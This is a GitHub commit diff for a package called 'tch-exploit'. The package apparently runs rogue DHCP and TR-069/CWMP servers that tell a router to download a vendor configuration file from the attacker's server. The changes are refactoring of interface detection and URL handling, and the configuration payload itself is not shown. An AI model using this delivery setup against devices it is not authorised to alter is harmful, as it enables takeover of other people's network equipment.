Skip to content

Commit 88d000a

Browse files
committed
no message
1 parent 9636a97 commit 88d000a

File tree

9 files changed

+81
-52
lines changed

9 files changed

+81
-52
lines changed

dist/ask.js

+25-11
Original file line numberDiff line numberDiff line change
@@ -10,19 +10,24 @@ readline = require('readline').createInterface({
1010
});
1111

1212
module.exports = function(ip) {
13-
var p;
13+
var addr, check, interval, p;
14+
interval = null;
15+
addr = [];
16+
check = function() {
17+
addr = ips();
18+
return addr.find(function(arg) {
19+
var address;
20+
address = arg.address;
21+
return address === ip;
22+
});
23+
};
1424
p = new Promise(function(resolve, reject) {
1525
var ask;
1626
ask = function() {
17-
var addr, exists;
18-
addr = ips();
19-
exists = addr.some(function(arg) {
20-
var address;
21-
address = arg.address;
22-
return address === ip;
23-
});
24-
if (exists) {
25-
return resolve();
27+
var add;
28+
add = check();
29+
if (add) {
30+
return resolve(add);
2631
}
2732
console.log("Could not find interface with ip: " + ip);
2833
console.table(addr);
@@ -37,9 +42,18 @@ module.exports = function(ip) {
3742
return resolve(addr[idx]);
3843
});
3944
};
45+
interval = setInterval(function() {
46+
var add;
47+
add = check();
48+
if (add) {
49+
return resolve(add);
50+
}
51+
}, 2000);
4052
return ask();
4153
});
42-
p.then(function() {
54+
p.then(function(add) {
55+
console.log("using interface", add);
56+
clearInterval(interval);
4357
return readline.close();
4458
});
4559
return p;

dist/dhcp/index.js

+3-3
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,9 @@ module.exports = function(ip, acsurl, acspass) {
2929
broadcast: ip + '.255',
3030
server: ip + '.1'
3131
}).on('listening', function(sock, type) {
32-
var address;
33-
address = sock.address();
34-
return console.log("Waiting for DHCP" + type + " request...", address.address + ':' + address.port);
32+
var address, port, ref;
33+
ref = sock.address(), address = ref.address, port = ref.port;
34+
return console.log("Waiting for DHCP" + type + " request... " + address + ":" + port);
3535
}).on('message', function(data) {
3636
return console.log('### MESSAGE', JSON.stringify(data));
3737
}).on('bound', function(state, ans) {

dist/dhcp/seqbuffer.js

+11-11
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
1-
var Options, SeqBuffer, trimZero,
1+
var SeqBuffer, opts, trimZero,
22
hasProp = {}.hasOwnProperty;
33

4-
Options = require('./options').opts;
4+
opts = require('./options').opts;
55

66
trimZero = function(str) {
77
var pos;
@@ -197,7 +197,7 @@ SeqBuffer = (function() {
197197
var mac;
198198
mac = this._data.toString('hex', this._r, this._r += hlen);
199199
if (htype !== 1 || hlen !== 6) {
200-
throw new Error('Invalid hardware address (len=' + hlen + ', type=' + htype + ')');
200+
throw new Error("Invalid hardware address (len=" + hlen + ", type=" + htype + ")");
201201
}
202202
this._r += 10;
203203
return mac.toUpperCase().match(/../g).join('-');
@@ -209,13 +209,13 @@ SeqBuffer = (function() {
209209
return true;
210210
};
211211

212-
SeqBuffer.prototype.addOptions = function(opts) {
212+
SeqBuffer.prototype.addOptions = function(ops) {
213213
var i, len, n, opt, results, val;
214214
results = [];
215-
for (i in opts) {
216-
if (!hasProp.call(opts, i)) continue;
217-
val = opts[i];
218-
opt = Options[i];
215+
for (i in ops) {
216+
if (!hasProp.call(ops, i)) continue;
217+
val = ops[i];
218+
opt = opts[i];
219219
len = 0;
220220
if (val === null) {
221221
i += 4;
@@ -308,11 +308,11 @@ SeqBuffer = (function() {
308308
this._r++;
309309
} else {
310310
len = this.getUInt8();
311-
if (opt in Options) {
312-
options[opt] = this['get' + Options[opt].type](len);
311+
if (opt in opts) {
312+
options[opt] = this['get' + opts[opt].type](len);
313313
} else {
314314
this._r += len;
315-
console.error('Option ' + opt + ' not known');
315+
console.error("Option " + opt + " not known");
316316
}
317317
}
318318
}

dist/http/cwmp/index.js

+6-7
Original file line numberDiff line numberDiff line change
@@ -27,8 +27,8 @@ set = function(obj, key, value) {
2727
return obj;
2828
};
2929

30-
request = function(ip, req, res) {
31-
var body, cwmp, cwmpVersion, element, f, header, idElement, input, k, key, params, ref1, ref2, ref3, ref4, ref5, str, v, value, xml;
30+
request = function(url, req, res) {
31+
var body, cwmp, cwmpVersion, element, header, idElement, input, k, key, params, ref1, ref2, ref3, ref4, ref5, str, v, value, xml;
3232
if (req.body.length > 0) {
3333
console.log('>>> REQUEST');
3434
console.dir([req.headers, req.body]);
@@ -74,11 +74,10 @@ request = function(ip, req, res) {
7474
} else if (stage === 'cwmp:Inform') {
7575
console.log('>>> EMPTY REQUEST');
7676
console.dir([req.headers, req.body]);
77-
f = file.custom || file.sts;
7877
res.name = 'cwmp:Download';
7978
res.fileType = '3 Vendor Configuration File';
80-
res.fileSize = f.length;
81-
res.url = "http://" + ip + "/file.sts";
79+
res.fileSize = file.sts.length;
80+
res.url = url + "file.sts";
8281
}
8382
res.env = env.join(' ');
8483
return response(res);
@@ -114,7 +113,7 @@ response = function(res) {
114113
return res.end(data);
115114
};
116115

117-
module.exports = function(ip) {
116+
module.exports = function(url) {
118117
return function(req, res) {
119118
var COOKIE_REGEX, match;
120119
COOKIE_REGEX = /\s*([a-zA-Z0-9\-_]+?)\s*=\s*"?([a-zA-Z0-9\-_]*?)"?\s*(,|;|$)/g;
@@ -128,7 +127,7 @@ module.exports = function(ip) {
128127
return req.body += chunk;
129128
});
130129
req.on('end', function() {
131-
return request(ip, req, res);
130+
return request(url, req, res);
132131
});
133132
};
134133
};

dist/http/file.js

+1-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

dist/http/index.js

+8-8
Original file line numberDiff line numberDiff line change
@@ -16,29 +16,29 @@ args = require('../args');
1616

1717
cwmp = require('./cwmp');
1818

19-
module.exports = function(ip, port) {
19+
module.exports = function(ip, port, url) {
2020
var e, srv;
2121
if (args.sts) {
2222
try {
23-
file.custom = readFileSync(args.sts);
23+
file.sts = readFileSync(args.sts);
2424
} catch (error) {
2525
e = error;
2626
throw e;
2727
}
2828
}
29+
file.sts = Buffer.from(file.sts).toString('utf8').replace('{{url}}', url, 'utf8');
2930
route.get('/file.sts', function(req, res) {
30-
var f, headers, stream;
31+
var headers, stream;
3132
console.log('>>> STS REQUEST');
32-
f = file.custom || file.sts;
3333
headers = {
3434
'Content-Type': 'text/plain',
35-
'Content-Length': f.length
35+
'Content-Length': file.sts.length
3636
};
3737
console.log('>>> STS RESPONSE');
38-
console.dir([headers, f.toString('utf8')]);
38+
console.dir([headers, file.sts.toString('utf8')]);
3939
res.writeHead(200, headers);
4040
stream = new Duplex();
41-
stream.push(f);
41+
stream.push(file.sts);
4242
stream.push(null);
4343
return stream.pipe(res);
4444
}).get('/done', function(req, res) {
@@ -67,7 +67,7 @@ module.exports = function(ip, port) {
6767
} else {
6868
return res.writeHead(404);
6969
}
70-
}).post('/', cwmp(ip + ':' + port));
70+
}).post('/', cwmp(url));
7171
srv = createServer(route);
7272
srv.keepAliveTimeout = 30000;
7373
return srv.listen(port, ip);

dist/index.js

+5-3
Original file line numberDiff line numberDiff line change
@@ -20,8 +20,10 @@ if (args.dhcponly) {
2020
dhcpd(ip, args.acsurl, args.acspass);
2121
} else {
2222
ask(ip).then(port).then(function(p) {
23-
console.log("listening for cwmp requests at http://" + ip + ":" + p + "/");
24-
dhcpd(ip, args.acsurl || ("http://" + ip + ":" + p + "/"), args.acspass);
25-
return httpd(ip, p);
23+
var url;
24+
url = args.acsurl || ("http://" + ip + ":" + p + "/");
25+
console.log("listening for cwmp requests at " + url);
26+
dhcpd(ip, url, args.acspass);
27+
return httpd(ip, p, url);
2628
});
2729
}

package.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "tch-exploit",
3-
"version": "2.0.0-b6",
3+
"version": "2.0.0-b7",
44
"main": "dist/index.js",
55
"bin": "dist/index.js",
66
"scripts": {

src/ask.coffee

+21-7
Original file line numberDiff line numberDiff line change
@@ -8,17 +8,21 @@ readline = require 'readline'
88
output: process.stdout
99

1010
module.exports = (ip) ->
11-
#cIp = 'en0'
11+
interval = null
12+
13+
addr = []
14+
15+
check = ->
16+
addr = ips()
17+
18+
addr.find ({ address }) -> address is ip
1219

1320
p = new Promise (resolve, reject) ->
1421

1522
ask = ->
16-
addr = ips()
17-
18-
exists = addr.some ({ address }) -> address is ip
23+
add = check()
1924

20-
if exists
21-
return resolve()
25+
if add then return resolve add
2226

2327
console.log "Could not find interface with ip: #{ ip }"
2428
console.table addr
@@ -33,8 +37,18 @@ module.exports = (ip) ->
3337

3438
resolve addr[idx]
3539

40+
interval = setInterval ->
41+
add = check()
42+
43+
if add then resolve add
44+
, 2000
45+
3646
ask()
3747

38-
p.then -> readline.close()
48+
p.then (add) ->
49+
console.log "using interface", add
50+
51+
clearInterval interval
52+
readline.close()
3953

4054
p

0 commit comments

Comments
 (0)